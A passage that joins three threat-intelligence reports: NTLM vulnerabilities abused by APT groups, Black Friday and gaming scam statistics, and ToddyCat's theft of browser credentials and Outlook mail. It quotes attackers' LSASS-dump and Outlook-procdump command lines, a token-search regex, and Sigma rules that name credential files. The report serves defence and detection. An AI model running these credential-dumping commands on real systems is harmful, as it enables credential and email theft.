BlindEagle is an APT threat actor targeting Latin American entities, which is known for their versatile campaigns that mix espionage and financial attacks. In late November 2024, the group started a new attack targeting Colombian entities, using the Windows vulnerability CVE-2024-43451 to distribute Remcos RAT. BlindEagle created .url files as a novel initial dropper. These files were delivered through phishing emails impersonating Colombian government and judicial entities and using alleged legal issues as a lure. Once the recipients were convinced to download the malicious file, simply interacting with it would trigger a request to a WebDAV server controlled by the attackers, from which a modified version of Remcos RAT was downloaded and executed. This version contained a module dedicated to stealing cryptocurrency wallet credentials.
The attackers executed the malware automatically by specifying port 80 in the UNC path. This allowed the connection to be made directly using the WebDAV protocol over HTTP, thereby bypassing an SMB connection. This type of connection also leaks NTLM hashes. However, we haven’t seen any subsequent usage of these hashes.
Following this campaign and throughout 2025, the group persisted in launching multiple attacks using the same initial attack vector (.url files) and continued to distribute Remcos RAT.
We detected more than 60 .url files used as initial droppers in BlindEagle campaigns. These were sent in emails impersonating Colombian judicial authorities. All of them communicated via WebDAV with servers controlled by the group and initiated the attack chain that used ShadowLadder or Smoke Loader to finally load Remcos RAT in memory.
Head Mare campaigns against Russian targets abusing CVE-2024-43451
Another attack detected after the Microsoft disclosure involves the hacktivist group Head Mare. This group is known for perpetrating attacks against Russian and Belarusian targets.
In past campaigns, Head Mare exploited various vulnerabilities as part of its techniques to gain initial access to its victims’ infrastructure. This time, they used CVE 2024-43451. The group distributed a ZIP file via phishing emails under the name “Договор на предоставление услуг №2024-34291” (“Service Agreement No. 2024-34291”). This had a .url file named “Сопроводительное письмо.docx” (translated as “Cover letter.docx”).
The .url file connected to a remote SMB server controlled by the group under the domain:
The domain resolved to the IP address 45.87.246.40 belonging to the ASN 212165, used by the group in the campaigns previously reported by our team.
According to our telemetry data, the ZIP file was distributed to more than a hundred users, 50% of whom belong to the manufacturing sector, 35% to education and science, and 5% to government entities, among other sectors. Some of the targets interacted with the .url file.
To achieve their goals at the targeted companies, Head Mare used a number of publicly available tools, including open-source software, to perform lateral movement and privilege escalation, forwarding the leaked hashes. Among these tools detected in previous attacks are Mimikatz, Secretsdump, WMIExec, and SMBExec, with the last three being part of the Impacket suite tool.
In this campaign, we detected attempts to exploit the vulnerability CVE-2023-38831 in WinRAR, used as an initial access in a campaign that we had reported previously, and in two others, we found attempts to use tools related to Impacket and SMBMap.
The attack, in addition to collecting NTLM hashes, involved the distribution of the PhantomCore malware, part of the group’s arsenal.
CVE-2025-24054/CVE-2025-24071
CVE-2025-24071 and CVE-2025-24054, initially registered as two different vulnerabilities, but later consolidated under the second CVE, is an NTLM hash leak vulnerability affecting multiple Windows versions, including Windows 11 and Windows Server. The vulnerability is primarily exploited through specially crafted files, such as .library-ms files, which cause the system to initiate NTLM authentication requests to attacker-controlled servers.
This exploitation is similar to CVE-2024-43451 and requires little to no user interaction (such as previewing a file), enabling attackers to capture NTLMv2 hashes and gain unauthorized access or escalate privileges within the network. The most common and widespread exploitation of this vulnerability occurs with .library-ms files inside ZIP/RAR archives, as it is easy to trick users into opening or previewing them. In most incidents we observed, the attackers used ZIP archives as the distribution vector.
Trojan distribution in Russia via CVE-2025-24054
In Russia, we identified a campaign distributing malicious ZIP archives with the subject line “акт_выполненных_работ_апрель” (certificate of work completed April). These files inside the archives masqueraded as .xls spreadsheets but were in fact .library-ms files that automatically initiated a connection to servers controlled by the attackers. The malicious files contained the same embedded server IP address 185.227.82.72.
When the vulnerability was exploited, the file automatically connected to that server, which also hosted versions of the AveMaria Trojan (also known as Warzone) for distribution. AveMaria is a remote access Trojan (RAT) that gives attackers remote control to execute commands, exfiltrate files, perform keylogging, and maintain persistence.
CVE-2025-33073
CVE-2025-33073 is a high-severity NTLM reflection vulnerability in the Windows SMB client’s access control. An authenticated attacker within the network can manipulate SMB authentication, particularly via local relay, to coerce a victim’s system into authenticating back to itself as SYSTEM. This allows the attacker to escalate privileges and execute code at the highest level.
The vulnerability relies on a flaw in how Windows determines whether a connection is local or remote. By crafting a specific DNS hostname that partially overlaps with the machine’s own name, an attacker can trick the system into believing the authentication request originates from the same host. When this happens, Windows switches into a “local authentication” mode, which bypasses the normal NTLM challenge-response exchange and directly injects the user’s token into the host’s security subsystem. If the attacker has coerced the victim into connecting to the crafted hostname, the token provided is essentially the machine’s own, granting the attacker privileged access on the host itself.
This behavior emerges because the NTLM protocol sets a special flag and context ID whenever it assumes the client and server are the same entity. The attacker’s manipulation causes the operating system to treat an external request as internal, so the injected token is handled as if it were trusted. This self-reflection opens the door for the adversary to act with SYSTEM-level privileges on the target machine.
Suspicious activity in Uzbekistan involving CVE-2025-33073
We have detected suspicious activity exploiting the vulnerability on a target belonging to the financial sector in Uzbekistan.
We have obtained a traffic dump related to this activity, and identified multiple strings within this dump that correspond to fragments related to NTLM authentication over SMB. The dump contains authentication negotiations showing SMB dialects, NTLMSSP messages, hostnames, and domains. In particular, the indicators:
The hostname localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, a manipulated hostname used to trick Windows into treating the authentication as local
The presence of the IPC$ resource share, common in NTLM relay/reflection attacks, because it allows an attacker to initiate authentication and then perform actions reusing that authenticated session
The incident began with exploitation of the NTLM reflection vulnerability. The attacker used a crafted DNS record to coerce the host into authenticating against itself and obtain a SYSTEM token. After that, the attacker checked whether they had sufficient privileges to execute code using batch files that ran simple commands such as whoami:
%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
Persistence was then established by creating a suspicious service entry in the registry under:
With SYSTEM privileges, the attacker attempted several methods to dump LSASS (Local Security Authority Subsystem Service) memory:
Using rundll32.exe:
C:\Windows\system32\cmd.exe /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\vdpk2Y.sav full
The command locates the lsass.exe process, which holds credentials in memory, extracts its PID, and invokes an internal function of comsvcs.dll to dump LSASS memory and save it. This technique is commonly used in post-exploitation (e.g., Mimikatz or other “living off the land” tools).
Loading a temporary DLL (BDjnNmiX.dll):
C:\Windows\system32\cmd.exe /Q /c cMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tAsKLISt /fi "Imagename eq lSAss.ex*" | find "lsass""') do rundll32.exe C:\Windows\Temp\BDjnNmiX.dll #+0000^24 ^%B \Windows\Temp\sFp3bL291.tar.log full
The command tries to dump the LSASS memory again, but this time using a custom DLL.
Running a PowerShell script (Base64-encoded):
The script leverages MiniDumpWriteDump via reflection. It uses the Out-Minidump function that writes a process dump with all process memory to disk, similar to running procdump.exe.
Several minutes later, the attacker attempted lateral movement by writing to the administrative share of another host, but the attempt failed. We didn’t see any evidence of further activity.
Protection and recommendations
Disable/Limit NTLM
As long as NTLM remains enabled, attackers can exploit vulnerabilities in legacy authentication methods. Disabling NTLM, or at the very least limiting its use to specific, critical systems, significantly reduces the attack surface. This change should be paired with strict auditing to identify any systems or applications still dependent on NTLM, helping ensure a secure and seamless transition.
Implement message signing
NTLM works as an authentication layer over application protocols such as SMB, LDAP, and HTTP. Many of these protocols offer the ability to add signing to their communications. One of the most effective ways to mitigate NTLM relay attacks is by enabling SMB and LDAP signing. These security features ensure that all messages between the client and server are digitally signed, preventing attackers from tampering with or relaying authentication traffic. Without signing, NTLM credentials can be intercepted and reused by attackers to gain unauthorized access to network resources.
Enable Extended Protection for Authentication (EPA)
EPA ties NTLM authentication to the underlying TLS or SSL session, ensuring that captured credentials cannot be reused in unauthorized contexts. This added validation can be applied to services such as web servers and LDAP, significantly complicating the execution of NTLM relay attacks.
Monitor and audit NTLM traffic and authentication logs
Regularly reviewing NTLM authentication logs can help identify abnormal patterns, such as unusual source IP addresses or an excessive number of authentication failures, which may indicate potential attacks. Using SIEM tools and network monitoring to track suspicious NTLM traffic enhances early threat detection and enables a faster response.
Conclusions
In 2025, NTLM remains deeply entrenched in Windows environments, continuing to offer cybercriminals opportunities to exploit its long-known weaknesses. While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable. Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability.
The surge of NTLM-focused incidents observed throughout 2025 illustrates the growing risks of depending on outdated authentication mechanisms. To mitigate these threats, organizations must accelerate deprecation efforts, enforce regular patching, and adopt more robust identity protection frameworks. Otherwise, NTLM will remain a convenient and recurring entry point for attackers.
The global e‑commerce market is accelerating faster than ever before, driven by expanding online retail, and rising consumer adoption worldwide. According to McKinsey Global Institute, global e‑commerce is projected to grow by 7–9% annually through 2040.
At Kaspersky, we track how this surge in online shopping activity is mirrored by cyber threats. In 2025, we observed attacks which targeted not only e‑commerce platform users but online shoppers in general, including those using digital marketplaces, payment services and apps for everyday purchases. This year, we additionally analyzed how cybercriminals exploited gaming platforms during Black Friday, as the gaming industry has become an integral part of the global sales calendar. Threat actors have been ramping up their efforts during peak sales events like Black Friday, exploiting high demand and reduced user vigilance to steal personal data, funds, or spread malware.
This report continues our annual series of analyses published on Securelist in 2021, 2022, 2023, and 2024, which examine the evolving landscape of shopping‑related cyber threats.
Methodology
To track how the shopping threat landscape continues to evolve, we conduct an annual assessment of the most common malicious techniques, which span financial malware, phishing pages that mimic major retailers, banks, and payment services, as well as spam campaigns that funnel users toward fraudulent sites. In 2025, we also placed a dedicated focus on gaming-related threats, analyzing how cybercriminals leverage players’ interest. The threat data we rely on is sourced from the Kaspersky Security Network (KSN), which processes anonymized cybersecurity data shared consensually by Kaspersky users. This report draws on data collected from January through October 2025.
Key findings
In the first ten months of 2025, Kaspersky identified nearly 6.4 million phishing attacks which targeted users of online stores, payment systems, and banks.
As many as 48.2% of these attacks were directed at online shoppers.
We blocked more than 146,000 Black Friday-themed spam messages in the first two weeks of November.
Kaspersky detected more than 2 million phishing attacks related to online gaming.
Around 1.09 million banking-trojan attacks were recorded during the 2025 Black Friday season.
The number of attempted attacks on gaming platforms surged in 2025, reaching more than 20 million, a significant increase compared to previous years.
More than 18 million attempted malicious attacks were disguised as Discord in 2025, a more than 14-time increase year-over-year, while Steam remained within its usual five-year fluctuation range.
Shopping fraud and phishing
Phishing and scams remain among the most common threats for online shoppers, particularly during high-traffic retail periods when users are more likely to act quickly and rely on familiar brand cues. Cybercriminals frequently recreate the appearance of legitimate stores, payment pages, and banking services, making their fraudulent sites and emails difficult to distinguish from real ones. With customers navigating multiple offers and payment options, they may overlook URL or sender details, increasing the likelihood of credential theft and financial losses.
From January through to October 2025, Kaspersky products successfully blocked 6,394,854 attempts to access phishing links which targeted users of online stores, payment systems, and banks. Breaking down these attempts, 48.21% had targeted online shoppers (for comparison, this segment accounted for 37.5% in 2024), 26.10% targeted banking users (compared to 44.41% in 2024), and 25.69% mimicked payment systems (18.09% last year). Compared to previous years, there has been a noticeable shift in focus, with attacks against online store users now representing a larger share, reflecting cybercriminals’ continued emphasis on exploiting high-demand retail periods, while attacks on banking users have decreased in relative proportion. This may be related to online banking protection hardening worldwide.
Financial phishing attacks by category, January–October 2025 (download)
In 2025, Kaspersky products detected and blocked 606,369 phishing attempts involving the misuse of Amazon’s brand. Cybercriminals continued to rely on Amazon-themed pages to deceive users and obtain personal or financial information.
Other major e-commerce brands were also impersonated. Attempts to visit phishing pages mimicking Alibaba brands, such as AliExpress, were detected 54,500 times, while eBay-themed pages appeared in 38,383 alerts. The Latin American marketplace Mercado Libre was used as a lure in 8,039 cases, and Walmart-related phishing pages were detected 8,156 times.
Popular online stores mimicked by scammers, January–October 2025 (download)
In 2025, phishing campaigns also extensively mimicked other online platforms. Netflix-themed pages were detected 801,148 times, while Spotify-related attempts reached 576,873. This pattern likely reflects attackers’ continued focus on high-traffic digital entertainment services with in-service payments enabled, which can be monetized via stolen accounts.
How scammers exploited shopping hype in 2025
In 2025, Black Friday-related scams continued to circulate across multiple channels, with fraudulent email campaigns remaining one of the key distribution methods. As retailers increase their seasonal outreach, cybercriminals take advantage of the high volume of promotional communications by sending look-alike messages that direct users to scam and phishing pages. In the first two weeks of November, 146,535 spam messages connected to seasonal sales were detected by Kaspersky, including 2,572 messages referencing Singles day sales.
Scammers frequently attempt to mimic well-known platforms to increase the credibility of their messages. In one of the recurring campaigns, a pattern seen year after year, cybercriminals replicated Amazon’s branding and visual style, promoting supposedly exclusive early-access discounts of up to 70%. In this particular case, the attackers made almost no changes to the text used in their 2024 campaign, again prompting users to follow a link leading to a fraudulent page. Such pages are usually designed to steal their personal or payment information or to trick the user into buying non-existent goods.
Beyond the general excitement around seasonal discounts, scammers also try to exploit consumers’ interest in newly released Apple devices. To attract attention, they use the same images of the latest gadgets across various mailing campaigns, just changing the names of legitimate retailers that allegedly sell the brand.
Scammers use an identical image across different campaigns, only changing the retailer’s branding
As subscription-based streaming platforms also take part in global sales periods, cybercriminals attempt to take advantage of this interest as well. For example, we observed a phishing website where scammers promoted an offer for a “12-month subscription bundle” covering several popular services at once, asking users to enter their bank card details. To enhance credibility, the scammers also include fabricated indicators of numerous successful purchases from other “users,” making the offer appear legitimate.
In addition to imitating globally recognized platforms, scammers also set up fake pages that pretend to be local services in specific countries. This tactic enables more targeted campaigns that blend into the local online landscape, increasing the chances that users will perceive the fraudulent pages as legitimate and engage with them.
Non-existent Norwegian online store and popular Labubu toys sale
Banking Trojans
Banking Trojans, or “bankers,” are another tool for cybercriminals exploiting busy shopping seasons like Black Friday in 2025. They are designed to steal sensitive data from online banking and payment systems. In this section, we’ll focus on PC bankers. Once on a victim’s device, they monitor the browser and, when the user visits a targeted site, can use techniques like web injection or form-grabbing to capture login credentials, credit card information, and other personal data. Some trojans also watch the clipboard for crypto wallet addresses and replace them with those controlled by the malicious actors.
As online shopping peaks during major sales events, attackers increasingly target e-commerce platforms alongside banks. Trojans may inject fake forms into legitimate websites, tricking users into revealing sensitive data during checkout and increasing the risk of identity theft and financial fraud. In 2025, Kaspersky detected over 1,088,293* banking Trojan attacks. Among notable banker-related cases analysed by Kaspersky throughout the year, campaigns involving the new Maverick banking Trojan distributed via WhatsApp, as well as the Efimer Trojan which spread through malicious emails and compromised WordPress sites can be mentioned, both illustrating how diverse and adaptive banking Trojan delivery methods are.
*These statistics include globally active banking malware, and malware for ATMs and point-of-sale (PoS) systems. We excluded data on Trojan-banker families that no longer use banking Trojan functionality in their attacks, such as Emotet.
A holiday sales season on the dark web
Apparently, even the criminal underground follows its own version of a holiday sales season. Once data is stolen, it often ends up on dark-web forums, where cybercriminals actively search for buyers. This pattern is far from new, and the range of offers has remained largely unchanged over the past two years.
Threat actors consistently seize the opportunity to attract “new customers,” advertising deep discounts tied to high-profile global sales events. It is worth noting that year after year we see the same established services announce their upcoming promotions in the lead-up to Black Friday, almost as if operating on a retail calendar of their own.
We also noted that dark web forum participants themselves eagerly await these seasonal markdowns, hoping to obtain databases at the most favorable rates and expressing their wishes in forum posts. In the months before Black Friday, posts began appearing on carding-themed forums advertising stolen payment-card data at promotional prices.
Threats targeting gaming
The gaming industry faces a high concentration of scams and other cyberthreats due to its vast global audience and constant demand for digital goods, updates, and in-game advantages. Players often engage quickly with new offers, making them more susceptible to deceptive links or malicious files. At the same time, the fact that gamers often download games, mods, skins etc. from third-party marketplaces, community platforms, and unofficial sources creates additional entry points for attackers.
The number of attempted attacks on platforms beloved by gamers increased dramatically in 2025, reaching 20,188,897 cases, a sharp rise compared to previous years.
Attempts to attack users through malicious or unwanted files disguised as popular gaming platforms (download)
The nearly sevenfold increase in 2025 is most likely linked to the Discord block by some countries introduced at the end of 2024. Eventually users rely on alternative tools, proxies and modified clients. This change significantly expanded the attack surface, making users more vulnerable to fake installers, and malicious updates disguised as workarounds for the restriction.
It can also be seen in the top five most targeted gaming platforms of 2025:
Platform
The number of attempted attacks
Discord
18,556,566
Steam
1,547,110
Xbox
43,560
Uplay
28,366
Battle.net
5,538
In previous years, Steam consistently ranked as the platform with the highest number of attempted attacks. Its extensive game library, active modding ecosystem, and long-standing role in the gaming community made it a prime target for cybercriminals distributing malicious files disguised as mods, cheats, or cracked versions. In 2025, however, the landscape changed significantly. The gap between Steam and Discord expanded to an unprecedented degree as Steam-related figures remained within their typical fluctuation range of the past five years, while the number of attempted Discord-disguised attacks surged more than 14 times compared to 2024, reshaping the hierarchy of targeted gaming platforms.
Attempts to attack users through malicious or unwanted files disguised as Steam and Discord throughout the reported period (download)
From January to October, 2025, cybercriminals used a variety of cyberthreats disguised as popular related to gamers platforms, modifications or circumvention options. RiskTool dominated the threat landscape with 17,845,099 detections, far more than any other category. Although not inherently malicious, these tools can hide files, mask processes, or disable programs, making them useful for stealthy, persistent abuse, including covert crypto-mining. Downloaders ranked second with 1,318,743 detections. These appear harmless but may fetch additional malware among other downloaded files. Downloaders are typically installed when users download unofficial patches, cracked clients, or mods. Trojans followed with 384,680 detections, often disguised as cheats or mod installers. Once executed, they can steal credentials, intercept tokens, or enable remote access, leading to account takeovers and the loss of in-game assets.
Threat
Gaming-related detections
RiskTool
17,845,099
Downloader
1,318,743
Trojan
384,680
Adware
184,257
Exploit
152,354
Phishing and scam threats targeting gamers
In addition to tracking malicious and unwanted files disguised as gamers’ platforms, Kaspersky experts also analysed phishing pages which impersonated these services. Between January and October 2025, Kaspersky products detected 2,054,336 phishing attempts targeting users through fake login pages, giveaway offers, “discounted” subscriptions and other scams which impersonated popular platforms like Steam, PlayStation, Xbox and gaming stores.
Example of Black Friday scam using a popular shooter as a lure
The page shown in the screenshot is a typical Black Friday-themed scam that targets gamers, designed to imitate an official Valorant promotion. The “Valorant Points up to 80% off” banner, polished layout, and fake countdown timer create urgency and make the offer appear credible at first glance. Users who proceed are redirected to a fake login form requesting Riot account credentials or bank card details. Once submitted, this information enables attackers to take over accounts, steal in-game assets, or carry out fraudulent transactions.
Minor text errors reveal the page’s fraudulent nature. The phrase “You should not have a size limit of 5$ dollars in your account” is grammatically incorrect and clearly suspicious.
Another phishing page relies on a fabricated “Winter Gift Marathon” that claims to offer a free $20 Steam gift card. The seasonal framing, combined with a misleading counter (“251,110 of 300,000 cards received”), creates an artificial sense of legitimacy and urgency intended to prompt quick user interaction.
The central component of the scheme is the “Sign in” button, which redirects users to a spoofed Steam login form designed to collect their credentials. Once obtained, attackers can gain full access to the account, including payment methods, inventory items, and marketplace assets, and may be able to compromise additional services if the same password is used elsewhere.
Examples of scams on Playstation 5 Pro and Xbox series X
Scams themed around the PlayStation 5 Pro and Xbox Series X appear to be generated from a phishing kit, a reusable template that scammers adapt for different brands. Despite referencing two consoles, both pages follow the same structure which features a bold claim offering a chance to “win” a high-value device, a large product image on the left, and a minimalistic form on the right requesting the user’s email address.
A yellow banner promotes an “exclusive offer” with “limited availability,” pressuring users to respond quickly. After submitting an email, victims are typically redirected to additional personal and payment data-collection forms. They also may later be targeted with follow-up phishing emails, spam, or malicious links.
Conclusions
In 2025, the ongoing expansion of global e-commerce continued to be reflected in the cyberthreat landscape, with phishing, scam activity, and financial malware targeting online shoppers worldwide. Peak sales periods once again created favorable conditions for fraud, resulting in sustained activity involving spoofed retailer pages, fraudulent email campaigns, and seasonal spam.
Threat actors also targeted users of digital entertainment and subscription services. The gaming sector experienced a marked increase in malicious activity, driven by shifts in platform accessibility and the widespread use of third-party tools. The significant rise in malicious detections associated with Discord underscored how rapidly attackers adjust to changes in user behavior.
Overall, 2025 demonstrated that cybercriminals continue to leverage predictable user behavior patterns and major sales events to maximize the impact of their operations. Consumers should remain especially vigilant during peak shopping periods and use stronger security practices, such as two-factor authentication, secure payment methods, and cautious browsing. A comprehensive security solution that blocks malware, detects phishing pages, and protects financial data can further reduce the risk of falling victim to online threats.
Email remains the main means of business correspondence at organizations. It can be set up either using on-premises infrastructure (for example, by deploying Microsoft Exchange Server) or through cloud mail services such as Microsoft 365 or Gmail. However, some organizations do not provide domain-level access to their cloud email. As a result, attackers who have compromised the domain do not automatically gain access to email correspondence and must resort to additional techniques to read it.
This research describes how ToddyCat APT evolved its methods to gain covert access to the business correspondence of employees at target companies. In the first part, we review the incidents that occurred in the second half of 2024 and early 2025. In the second part of the report, we focus in detail on how the attackers implemented a new attack vector as a result of their efforts. This attack enables the adversary to leverage the user’s browser to obtain OAuth 2.0 authorization tokens. These tokens can then be utilized outside the perimeter of the compromised infrastructure to access corporate email.
In a previous post on the ToddyCat group, we described the TomBerBil family of tools, which are designed to extract cookies and saved passwords from browsers on user hosts. These tools were written in C# and C++.
Yet, analysis of incidents from May to June 2024 revealed a new variant implemented in PowerShell. It retained the core malicious functionality of the previous samples but employed a different implementation approach and incorporated new commands.
A key feature of this version is that it was executed on domain controllers on behalf of a privileged user, accessing browser files via shared network resources using the SMB protocol.
Besides supporting the Chrome and Edge browsers, the new version also added processing for Firefox browser files.
The tool was launched using a scheduled task that executed the following command line:
The script begins by creating a new local directory, which is specified in the $baseDir variable. The tool saves all data it collects into this directory.
The script defines a function named parseFile, which accepts the full file path as a parameter. It opens the C:\programdata\uhosts.txt file and reads its content line by line using .NET Framework classes, returning the result as a string array. This is how the script forms an array of host names.
For each host in the array, the script attempts to establish an SMB connection to the shared resource c$, constructing the path in the \\\c$\users\ format. If the connection is successful, the tool retrieves a list of user directories present on the remote host. If at least one directory is found, a separate folder is created for that host within the $baseDir working directory:
In the next stage, the script iterates through the user folders discovered on the remote host, skipping any folders specified in the $filter_users variable, which is defined upon launching the tool. For the remaining folders, three directories are created in the script’s working folder for collecting data from Google Chrome, Mozilla Firefox, and Microsoft Edge.
Next, the tool uses the default account to search for the following Chrome and Edge browser files on the remote host:
Login Data: a database file that contains the user’s saved logins and passwords for websites in an encrypted format
Local State: a JSON file containing the encryption key used to encrypt stored data
Cookies: a database file that stores HTTP cookies for all websites visited by the user
History: a database that stores the browser’s history
These files are copied via SMB to the local folder within the corresponding user and browser folder hierarchy. Below is a code snippet that copies the Login Data file:
The same procedure is applied to Firefox files, with the tool additionally traversing through all the user profile folders of the browser. Instead of the files described above for Chrome and Edge, the script searches for files which have names from the $firefox_files array that contain similar information. The requested files are also copied to the tool’s local folder.
The copied files are encrypted using the Data Protection API (DPAPI). The previous version of TomBerBil ran on the host and copied the user’s token. As a result, in the user’s current session DPAPI was used to decrypt the master key, and subsequently, the files. The updated server-side version of TomBerBil copies files containing the user encryption keys that are used by DPAPI. These keys, combined with the user’s SID and password, grant the attackers the ability to decrypt all the copied files locally.
With TomBerBil, the attackers automatically collected user cookies, browsing history, and saved passwords, while simultaneously copying the encryption keys needed to decrypt the browser files. The connection to the victim’s remote hosts was established via the SMB protocol, which significantly complicated the detection of the tool’s activity.
TomBerBil in PowerShell
As a rule, such tools are deployed at later stages, after the adversary has established persistence within the organization’s internal infrastructure and obtained privileged access.
Detection
To detect the implementation of this attack, it’s necessary to set up auditing for access to browser folders and to monitor network protocol connection attempts to those folders.
title: Access To Sensitive Browser Files Via Smb
id: 9ac86f68-9c01-4c9d-897a-4709256c4c7b
status: experimental
description: Detects remote access attempts to browser files containing sensitive information
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555.003
logsource:
product: windows
service: security
detection:
event:
EventID: '5145'
chromium_files:
ShareLocalPath|endswith:
- '\User Data\Default\History'
- '\User Data\Default\Network\Cookies'
- '\User Data\Default\Login Data'
- '\User Data\Local State'
firefox_path:
ShareLocalPath|contains: '\AppData\Roaming\Mozilla\Firefox\Profiles'
firefox_files:
ShareLocalPath|endswith:
- 'key3.db'
- 'signons.sqlite'
- 'key4.db'
- 'logins.json'
condition: event and (chromium_files or firefox_path and firefox_files)
falsepositives: Legitimate activity
level: medium
In addition, auditing for access to the folders storing the DPAPI encryption key files is also required.
title: Access To System Master Keys Via Smb
id: ba712364-cb99-4eac-a012-7fc86d040a4a
status: experimental
description: Detects remote access attempts to the Protect file, which stores DPAPI master keys
references:
- https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555
logsource:
product: windows
service: security
detection:
selection:
EventID: '5145'
ShareLocalPath|contains: 'windows\System32\Microsoft\Protect'
condition: selection
falsepositives: Legitimate activity
level: medium
Stealing emails from Outlook
The modified TomBerBil tool family proved ineffective at evading monitoring tools, compelling the threat actor to seek alternative methods for accessing the organization’s critical data. We discovered an attempt to gain access to corporate correspondence files in the local Outlook storage.
The Outlook application stores OST (Offline Storage Table) files for offline use. The names of these files contain the address of the mailbox being cached. Outlook uses OST files to store a local copy of data synchronized with mail servers: Microsoft Exchange, Microsoft 365, or Outlook.com. This capability allows users to work with emails, calendars, contacts, and other data offline, then synchronize changes with the server once the connection is restored.
However, access to an OST file is blocked by the application while Outlook is running. To copy the file, the attackers created a specialized tool called TCSectorCopy.
TCSectorCopy
This tool is designed for block-by-block copying of files that may be inaccessible by applications or the operating system, such as files that are locked while in use.
The tool is a 32-bit PE file written in C++. After launch, it processes parameters passed via the command line: the path to the source file to be copied and the path where the result should be saved. The tool then validates that the source path is not identical to the destination path.
Validating the TCSectorCopy command line parameters
Next, the tool gathers information about the disk hosting the file to be copied: it determines the cluster size, file system type, and other parameters necessary for low-level reading.
Determining the disk’s file system type
TCSectorCopy then opens the disk as a device in read-only mode and sequentially copies the file content block by block, bypassing the standard Windows API. This allows the tool to copy even the files that are locked by the system or other applications.
The adversary uploaded this tool to target host and used it to copy user OST files:
Having obtained the OST files, the attackers processed them using a separate tool to extract the email correspondence content.
XstReader
XstReader is an open-source C# tool for viewing and exporting the content of Microsoft Outlook OST and PST files. The attackers used XstReader to export the content of the previously copied OST files.
XstReader is executed with the -e parameter and the path to the copied file. The -e parameter specifies the export of all messages and their attachments to the current folder in the HTML, RTF, and TXT formats.
XstExport.exe -e <email>@<domain>.ost2
After exporting the data from the OST file, the attackers review the list of obtained files, collect those of interest into an archive, and exfiltrate it.
Stealing data with TCSectorCopy and XstReader
Detection
To detect unauthorized access to Outlook OST files, it’s necessary to set up auditing for the %LOCALAPPDATA%\Microsoft\Outlook\ folder and monitor access events for files with the .ost extension. The Outlook process and other processes legitimately using this file must be excluded from the audit.
title: Access To Outlook Ost Files
id: 2e6c1918-08ef-4494-be45-0c7bce755dfc
status: experimental
description: Detects access to the Outlook Offline Storage Table (OST) file
author: Kaspersky
date: 2025-08-11
tags:
- attack.collection
- attack.t1114.001
logsource:
product: windows
service: security
detection:
event:
EventID: 4663
outlook_path:
ObjectName|contains: '\AppData\Local\Microsoft\Outlook\'
ost_file:
ObjectName|endswith: '.ost'
condition: event and outlook_path and ost_file
falsepositives: Legitimate activity
level: low
The TCSectorCopy tool accesses the OST file via the disk device, so to detect it, it’s important to monitor events such as Event ID 9 (RawAccessRead) in Sysmon. These events indicate reading directly from the disk, bypassing the file system.
As we mentioned earlier, TCSectorCopy receives the path to the OST file via a command line. Consequently, detecting this tool’s malicious activity requires monitoring for a specific OST file naming pattern: the @ symbol and the .ost extension in the file name.
Example of detecting TCSectorCopy activity in KATA
Stealing access tokens from Outlook
Since active file collection actions on a host are easily tracked using monitoring systems, the attackers’ next step was gaining access to email outside the hosts where monitoring was being performed. Some target organizations used the Microsoft 365 cloud office suite. The attackers attempted to obtain the access token that resides in the memory of processes utilizing this cloud service.
In the OAuth 2.0 protocol, which Microsoft 365 uses for authorization, the access token is used when requesting resources from the server. In Outlook, it is specified in API requests to the cloud service to retrieve emails along with attachments. Its disadvantage is its relatively short lifespan; however, this can be enough to retrieve all emails from a mailbox while bypassing monitoring tools.
The access token is stored using the JWT (JSON Web Tokens) standard. The token content is encoded using Base64. JWT headers for Microsoft applications always specify the typ parameter with the JWT value first. This means that the first 18 characters of the encoded token will always be the same.
The attackers used SharpTokenFinder to obtain the access token from the user’s Outlook application. This tool is written in C# and designed to search for an access token in processes associated with the Microsoft 365 suite. After launch, the tool searches the system for the following processes:
“TEAMS”
“WINWORD”
“ONENOTE”
“POWERPNT”
“OUTLOOK”
“EXCEL”
“ONEDRIVE”
“SHAREPOINT”
If these processes are found, the tool attempts to open each process’s object using the OpenProcess function and dump their memory. To do this, the tool imports the MiniDumpWriteDump function from the dbghelp.dll file, which writes user mode minidump information to the specified file. The dump files are saved in the dump folder, located in the current SharpTokenFinder directory. After creating dump files for the processes, the tool searches for the following string pattern in each of them:
"eyJ0eX[a-zA-Z0-9\\._\\-]+"
This template uses the first six symbols of the encoded JWT token, which are always the same. Its structures are separated by dots. This is sufficient to find the necessary string in the process memory dump.
Example of a JWT Token
In the incident being described, the local security tools (EPP) blocked the attempt to create the OUTLOOK.exe process dump using SharpTokenFinder, so the operator used ProcDump from the Sysinternals suite for this purpose:
procdump64.exe -accepteula -ma OUTLOOK.exe
dir c:\windows\temp\OUTLOOK.EXE_<id>.dmp
c:\progra~1\winrar\rar.exe a -k -r -s -m5 -v100M %temp%\dmp.rar c:\windows\temp\OUTLOOK.EXE_<id>.dmp
Here, the operator executed ProcDump with the following parameters:
accepteula silently accepts the license agreement without displaying the agreement window.
ma indicates that a full process dump should be created.
exe is the name of the process to be dumped.
The dir command is then executed as a check to confirm that the file was created and is not zero size. Following this validation, the file is added to a dmp.rar archive using WinRAR. The attackers sent this file to their host via SMB.
Detection
To detect this technique, it’s necessary to monitor the ProcDump process command line for names belonging to Microsoft 365 application processes.
title: Dump Of Office 365 Processes Using Procdump
id: 5ce97d80-c943-4ac7-8caf-92bb99e90e90
status: experimental
description: Detects Office 365 process names in the command line of the procdump tool
author: kaspersky
date: 2025-08-11
tags:
- attack.lateral-movement
- attack.defense-evasion
- attack.t1550.001
logsource:
category: process_creation
product: windows
detection:
selection:
Product: 'ProcDump'
CommandLine|contains:
- 'teams'
- 'winword'
- 'onenote'
